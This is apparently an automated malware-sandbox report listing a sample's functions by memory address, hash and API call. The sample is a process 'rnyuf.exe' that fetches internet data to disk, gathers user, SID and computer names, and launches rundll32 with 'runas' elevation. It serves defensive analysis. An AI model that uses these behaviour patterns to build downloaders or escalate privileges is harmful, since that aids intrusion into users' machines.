Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: a55171b7364f142e38cc81edd8dba2f989fabe4339a80ea2c8f39b2358c46bbc
Instruction ID: 1a2abf0673bd0a2d6c81789d04585c89a9426becea56db78072a9c8bd3361e94
Opcode Fuzzy Hash: a55171b7364f142e38cc81edd8dba2f989fabe4339a80ea2c8f39b2358c46bbc
Instruction Fuzzy Hash: 39C14772A002069BDB26AF6CC844AEE7BEDBF56310F1440E9EDC5D7289E73D9A41C750

Uniqueness

Uniqueness Score: -1.00%

Function 01003DDB, Relevance: 7.7, APIs: 5, Instructions: 202registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?), ref: 01003DF9
RegCloseKey.ADVAPI32(?,?,00000400,00000000,00000001,?), ref: 01003E02
RegCreateKeyExA.ADVAPI32(80000001,00000001,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 01003EF1
RegOpenKeyExA.ADVAPI32(80000001,00000001,00000000,00000002,80000001), ref: 01003F10
RegSetValueExA.ADVAPI32(80000001,?,00000000,00000001,?,?), ref: 01003F3E

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$CloseCreateOpenQuery
String ID:
API String ID: 980562271-0
Opcode ID: 7048ee135e2413d798d2436513a221971668e1058c5f6d12fbcf530ed245fe62
Instruction ID: 4fbfc52904ee52d332d4dc483f16675d558e70386a3c4da378cd51e2b54c44e7
Opcode Fuzzy Hash: 7048ee135e2413d798d2436513a221971668e1058c5f6d12fbcf530ed245fe62
Instruction Fuzzy Hash: AB61E571210109AFFB1ACF28CC85BED7B66FF45314F60825CF9859A2C5D779DA848B90

Uniqueness

Uniqueness Score: -1.00%

Function 01012943, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,01012875), ref: 01012965
GetFileInformationByHandle.KERNEL32(?,?), ref: 010129BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,01012875,?,000000FF,00000000,00000000), ref: 01012A4D
__dosmaperr.LIBCMT ref: 01012A54
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 01012A91

Part of subcall function 01012CB9: __dosmaperr.LIBCMT ref: 01012CEE

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 01141cc06fe275a45b9c1c06c2d098b1d9257731ff3e0d9c9546f658d4d43fa9
Instruction ID: 291ea6d8ae5b5687608f7e680d6df09be376d95c3d6311cc4cb10432144ee313
Opcode Fuzzy Hash: 01141cc06fe275a45b9c1c06c2d098b1d9257731ff3e0d9c9546f658d4d43fa9
Instruction Fuzzy Hash: F2416E76900249AFDB34DFA9D8449AFBBF9FF88300B24452DF996D3214E7389845CB60

Uniqueness

Uniqueness Score: -1.00%

Function 01006A0B, Relevance: 7.6, APIs: 5, Instructions: 140networkfileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 01006A27
InternetReadFile.WININET(?,?,?,?), ref: 01006A38
CloseHandle.KERNEL32(00000000), ref: 01006A43
InternetCloseHandle.WININET(?), ref: 01006A52
InternetCloseHandle.WININET(00000000), ref: 01006A55

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandleInternet$File$ReadWrite
String ID:
API String ID: 567989605-0
Opcode ID: b1a1e0feb289bd406b7cdfbbc8e59f30159f76be11f2df57875a13b9131e2a2c
Instruction ID: a2dc7d8f31e1eeb04b6334a5c933bd2c4e15c1613126f09811d51143bdb7b1f5
Opcode Fuzzy Hash: b1a1e0feb289bd406b7cdfbbc8e59f30159f76be11f2df57875a13b9131e2a2c
Instruction Fuzzy Hash: 58412871A00109ABEB15DFA4CC84AEE77BAEF55310F144268F984E31D4D73AEAD4CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0101C807, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0101C81F

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

_free.LIBCMT ref: 0101C831
_free.LIBCMT ref: 0101C843
_free.LIBCMT ref: 0101C855
_free.LIBCMT ref: 0101C867

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8c582b2b135a847fd58f1640c32550e062cffc65207e8597c32734282c73f0f3
Instruction ID: 091ca18e8cd6ec5b7abb977e51f0b400bb250a7573821a8908d4fb824eb1296a
Opcode Fuzzy Hash: 8c582b2b135a847fd58f1640c32550e062cffc65207e8597c32734282c73f0f3
Instruction Fuzzy Hash: EAF04F32545200E7E660EB98EAC4C56B7DDAB086207540C59F5C8D750CCB7FF8808AA4

Uniqueness

Uniqueness Score: -1.00%

Function 0101AED3, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0101B06D

Strings

*?, xrefs: 0101AF16

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 2443434e187e1b979bea4c483cc1f5e7adc4037d4bb0d9801d41bb1f01b7c5b1
Instruction ID: 9039f85e47cc2341b8fbf1c8fc6ae1cc3f0cbca3aebe647c039f4a42dbfb3b69
Opcode Fuzzy Hash: 2443434e187e1b979bea4c483cc1f5e7adc4037d4bb0d9801d41bb1f01b7c5b1
Instruction Fuzzy Hash: AF612DB5E00219DFDB15CFA8C8809EDFBF5EF48310B1581AAE895E7344D779AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 0101980A, Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 01019891

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 9c1b9633bf2ebb0c38044de2cea86c35c0b20e39aea4a82805dce46aa4bcbc2e
Instruction ID: f72752e97603dca712855a0a54f0d69844449f0ea617cb61aed5bdb499330145
Opcode Fuzzy Hash: 9c1b9633bf2ebb0c38044de2cea86c35c0b20e39aea4a82805dce46aa4bcbc2e
Instruction Fuzzy Hash: 2DB137329042469FDF11CF2CC8A07EEBBF5EF55318F5841AAE9C59B249D63C9905CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0102166E, Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0102173E
_free.LIBCMT ref: 01021767
SetEndOfFile.KERNEL32(00000000,0101DB46,00000000,0101649E,?,?,?,?,?,?,?,0101DB46,0101649E,00000000), ref: 01021799
GetLastError.KERNEL32(?,?,?,?,?,?,?,0101DB46,0101649E,00000000,?,?,?,?,00000000), ref: 010217B5

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: fc08f1f209b1c093f1180b7233765cb4025b6827f8194b63a226be8f82317495
Instruction ID: a68d9eed06af2479bafdf7bf38b24c3a7ca83e976d0877e2d5bf939abd7ecd5b
Opcode Fuzzy Hash: fc08f1f209b1c093f1180b7233765cb4025b6827f8194b63a226be8f82317495
Instruction Fuzzy Hash: AF41D7329006169BDB25AFBCCC44ADE7BF9BF98330F240150F9A4AB194EA39D8448760

Uniqueness

Uniqueness Score: -1.00%

Function 010042C0, Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 01004316

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: fd96f1be90f9c7737c3816c81bcd34b4f5ebcea68cf4c68c188349e23a31237a
Instruction ID: c6e4b9f1dcc1e0c2811b37edcc6cfdda5eb7a22a7157be181f15b509b22f4e0e
Opcode Fuzzy Hash: fd96f1be90f9c7737c3816c81bcd34b4f5ebcea68cf4c68c188349e23a31237a
Instruction Fuzzy Hash: 04316E70D002199BFB25BF68DC497DEBB74EF41310F5042A8EE80972C5EB754A8487D5

Uniqueness

Uniqueness Score: -1.00%

Function 0101AE04, Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 01012687: _free.LIBCMT ref: 01012695

Part of subcall function 0101BDDB: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,010211E0,?,00000000,00000000), ref: 0101BE7D

GetLastError.KERNEL32 ref: 0101AE6C
__dosmaperr.LIBCMT ref: 0101AE73
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0101AEB2
__dosmaperr.LIBCMT ref: 0101AEB9

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: a9f767d01d967dcccac6f15b98a0a971fdc6ffa46efd0983535b2406316e2dea
Instruction ID: d089dc8b21200aec8709ae5b3373d1be486fc91935e9e4780f0c5587f13baef7
Opcode Fuzzy Hash: a9f767d01d967dcccac6f15b98a0a971fdc6ffa46efd0983535b2406316e2dea
Instruction Fuzzy Hash: 1B21B37170124AEFDB216FA98C808ABB7EDEF143787108559F9A89714CE73DEC0087A0

Uniqueness

Uniqueness Score: -1.00%

Function 01016EF2, Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,01012605,?,?,?,?,01013272,?), ref: 01016EF7
_free.LIBCMT ref: 01016F54
_free.LIBCMT ref: 01016F8A
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,01012605,?,?,?,?,01013272,?), ref: 01016F95

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 112e622e78e08c6817a79fd8929dd15218434386692922e480739f8a93c2f0d1
Instruction ID: 63b173451f31343fff6951040d110b841c0c6720ae1818fb4ca2c903dd004c65
Opcode Fuzzy Hash: 112e622e78e08c6817a79fd8929dd15218434386692922e480739f8a93c2f0d1
Instruction Fuzzy Hash: AF110A32245103ABD77136785CC4DAF39998BD5275BA1022CF6E8861CCFEAF88154310

Uniqueness

Uniqueness Score: -1.00%

Function 01017049, Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0101320C,01016627,?,?,010156FE), ref: 0101704E
_free.LIBCMT ref: 010170AB
_free.LIBCMT ref: 010170E1
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0101320C,01016627,?,?,010156FE), ref: 010170EC

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 924fd7e8db42ac060fb0f0b3f232202cbf8f63a481447abc8dce9bbdb4ad4732
Instruction ID: d8c55fc1fbb87f953a5c9e788cfa79dfaa4b05b812a62ed9ee605d7f61bbfe4f
Opcode Fuzzy Hash: 924fd7e8db42ac060fb0f0b3f232202cbf8f63a481447abc8dce9bbdb4ad4732
Instruction Fuzzy Hash: AB110836240703EBD77336B89CC0DAF7A9E9BC5271B610264F6E8821CCEE6E88155320

Uniqueness

Uniqueness Score: -1.00%

Function 0101773C, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,010178A1,00000000,?,0101E208,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 01017752
GetLastError.KERNEL32(?,0101E208,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,010178A1,00000000,00000104,?), ref: 0101775C
__dosmaperr.LIBCMT ref: 01017763

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 40d147bd4cac057f5908d890c8c9337b81ac043f9723e43511604b878ce12e3b
Instruction ID: 0b83c344fe50284bfe553218cc2286d7d43aca9a144f9be6b2e4d066aeffe55a
Opcode Fuzzy Hash: 40d147bd4cac057f5908d890c8c9337b81ac043f9723e43511604b878ce12e3b
Instruction Fuzzy Hash: 21F04432201116BBCB311FBADC08D9AFFA9FF552B07108551FAA9C6514D739E851C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 010177A5, Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,010178A1,00000000,?,0101E193,00000000,00000000,010178A1,?,?,00000000,00000000,00000001), ref: 010177BB
GetLastError.KERNEL32(?,0101E193,00000000,00000000,010178A1,?,?,00000000,00000000,00000001,00000000,00000000,?,010178A1,00000000,00000104), ref: 010177C5
__dosmaperr.LIBCMT ref: 010177CC

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: f02a4e610442b52f7b4e90e54947e2d45737ff4388851c83d57d0198ff6e69d4
Instruction ID: b33fb3290341552fd3b2f46b3df5e76c987c7c591983d668871579260ef23f3c
Opcode Fuzzy Hash: f02a4e610442b52f7b4e90e54947e2d45737ff4388851c83d57d0198ff6e69d4
Instruction Fuzzy Hash: F3F04432240116BBCB315FBADC08C9AFFA9FF552B07218551FA99C6514DB39E851CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 01021B95, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(01003D80,?,0102E0A8,00000000,01003D80,?,0101EFD2,01003D80,00000001,01003D80,01003D80,?,0101882C,00000000,?,01003D80), ref: 01021BAC
GetLastError.KERNEL32(?,0101EFD2,01003D80,00000001,01003D80,01003D80,?,0101882C,00000000,?,01003D80,00000000,01003D80,?,01018D80,01003D80), ref: 01021BB8

Part of subcall function 01021B7E: CloseHandle.KERNEL32(FFFFFFFE,01021BC8,?,0101EFD2,01003D80,00000001,01003D80,01003D80,?,0101882C,00000000,?,01003D80,00000000,01003D80), ref: 01021B8E

___initconout.LIBCMT ref: 01021BC8

Part of subcall function 01021B40: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,01021B6F,0101EFBF,01003D80,?,0101882C,00000000,?,01003D80,00000000), ref: 01021B53

WriteConsoleW.KERNEL32(01003D80,?,0102E0A8,00000000,?,0101EFD2,01003D80,00000001,01003D80,01003D80,?,0101882C,00000000,?,01003D80,00000000), ref: 01021BDD

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: ddd2b4b5ebe5c33531e3c76508d570cd9ff4ee1c52679a3be8dcc2d94bc8ccc0
Instruction ID: 48cc8afb411c891bbff742b09070046ee628a7053575518ca56c792f8d9362be
Opcode Fuzzy Hash: ddd2b4b5ebe5c33531e3c76508d570cd9ff4ee1c52679a3be8dcc2d94bc8ccc0
Instruction Fuzzy Hash: B3F01C3A101125FBCF331FE5DC14EC93F6AFF486A0F114050FB9885125D6368820DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0101583C, Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 01015845

Part of subcall function 01016601: HeapFree.KERNEL32(00000000,00000000,?,010156FE), ref: 01016617
Part of subcall function 01016601: GetLastError.KERNEL32(?,?,010156FE), ref: 01016629

_free.LIBCMT ref: 01015858
_free.LIBCMT ref: 01015869
_free.LIBCMT ref: 0101587A

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0087e638908dd0717cdf56d59a41db6131dcb90dff24adead7b4b0ace411de16
Instruction ID: 712151c01e48b6701a78c784d601450ef8679cfc7d537a0fa1daab23555716e1
Opcode Fuzzy Hash: 0087e638908dd0717cdf56d59a41db6131dcb90dff24adead7b4b0ace411de16
Instruction Fuzzy Hash: 70E0B679824121DA8B227F65BC88489BBBAF75EB113014C16F4E05221CCB7F05629FD9

Uniqueness

Uniqueness Score: -1.00%

Function 01014EAB, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\a.exe, xrefs: 01014EEE, 01014EF5, 01014F2B

Memory Dump Source

Source File: 00000003.00000002.662066092.0000000001001000.00000020.00020000.sdmp, Offset: 01000000, based on PE: true

Associated: 00000003.00000002.662020284.0000000001000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662207715.0000000001027000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.662239596.0000000001030000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.662252157.0000000001035000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\a.exe
API String ID: 0-2503798518
Opcode ID: f11334a540fe2b7fa6fee2be82196808a27ba672b615cf7f3cec768b52201a6c
Instruction ID: f20c8c36c24474956031afd293af8cb6aa8e06a2709979f5aefa844ddcb3dfcc
Opcode Fuzzy Hash: f11334a540fe2b7fa6fee2be82196808a27ba672b615cf7f3cec768b52201a6c
Instruction Fuzzy Hash: 5B417371A04219ABDB21DF9DD884DEEBBFCEB99310F1400AAE584D7358D7798A41C790

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rnyuf.exe PID: 6908 Parent PID: 6736 rnyuf.exeCOMMON

Executed Functions

Function 00F0C0A0, Relevance: 14.4, APIs: 5, Strings: 2, Instructions: 2128libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F04010: GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00F04066

Part of subcall function 00F042C0: GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00F04316

Part of subcall function 00F01DA0: GetUserNameW.ADVAPI32(00000000,00F04DB3), ref: 00F01DCA
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,00F04DB3), ref: 00F01DDF
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01DE2
Part of subcall function 00F01DA0: GetUserNameW.ADVAPI32(00000000,00F04DB3), ref: 00F01DF0
Part of subcall function 00F01DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00F04DB3,00000000,?,?), ref: 00F01E13
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,00F04DB3), ref: 00F01E1E
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01E21
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E31
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01E34
Part of subcall function 00F01DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00F04DB3,00000000,?,?), ref: 00F01E5E
Part of subcall function 00F01DA0: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00F01E71

LoadLibraryA.KERNEL32(00000000), ref: 00F0CABA
GetProcAddress.KERNEL32(00000000,000002A8), ref: 00F0CB14
FreeLibrary.KERNEL32(00000000), ref: 00F0CB1F
GetUserNameW.ADVAPI32(?,00000100), ref: 00F0CB92
GetComputerNameExW.KERNEL32(00000002,?,00000100,?,?,?), ref: 00F0CC72

Part of subcall function 00F0EBB0: Concurrency::cancel_current_task.LIBCPMT ref: 00F0EC64

Strings

1e680d, xrefs: 00F0CED8
152138533219, xrefs: 00F0CD57

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$1e680d
API String ID: 1144133639-2430080948
Opcode ID: 41b36fab9435792deebacc8a6aff96802b54912fde4944273052bccbdf4d86eb
Instruction ID: 4dce1db9cc72df2f7570431fb03433e1d64a2c6337046ba438d2383de8167a33
Opcode Fuzzy Hash: 41b36fab9435792deebacc8a6aff96802b54912fde4944273052bccbdf4d86eb
Instruction Fuzzy Hash: FCF22A71A002059BEF2CDB28CC9579EB776AF81304F50879CF409972D6DB399AC4BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F02A20, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 295COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000001,?,?,00000000,00000000), ref: 00F02A8D

Strings

rundll32.exe, xrefs: 00F02C7C
runas, xrefs: 00F02A4F

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExecuteShell
String ID: runas$rundll32.exe
API String ID: 587946157-4081450877
Opcode ID: 53bd2852a35dbc702f8edcd94fe13b2426d1b254f4a7d3d5a0762a005ce32cbc
Instruction ID: 2aff4b1b752e807641370edaa76e6a0b898d0b90017439f735c27e36d33a6469
Opcode Fuzzy Hash: 53bd2852a35dbc702f8edcd94fe13b2426d1b254f4a7d3d5a0762a005ce32cbc
Instruction Fuzzy Hash: 3EA13E71600109AFEF18DF28CC89BDE7B66EF85314F508518F8148B2D6D739D985EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F10567, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00010573,00F1006C), ref: 00F1056C

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
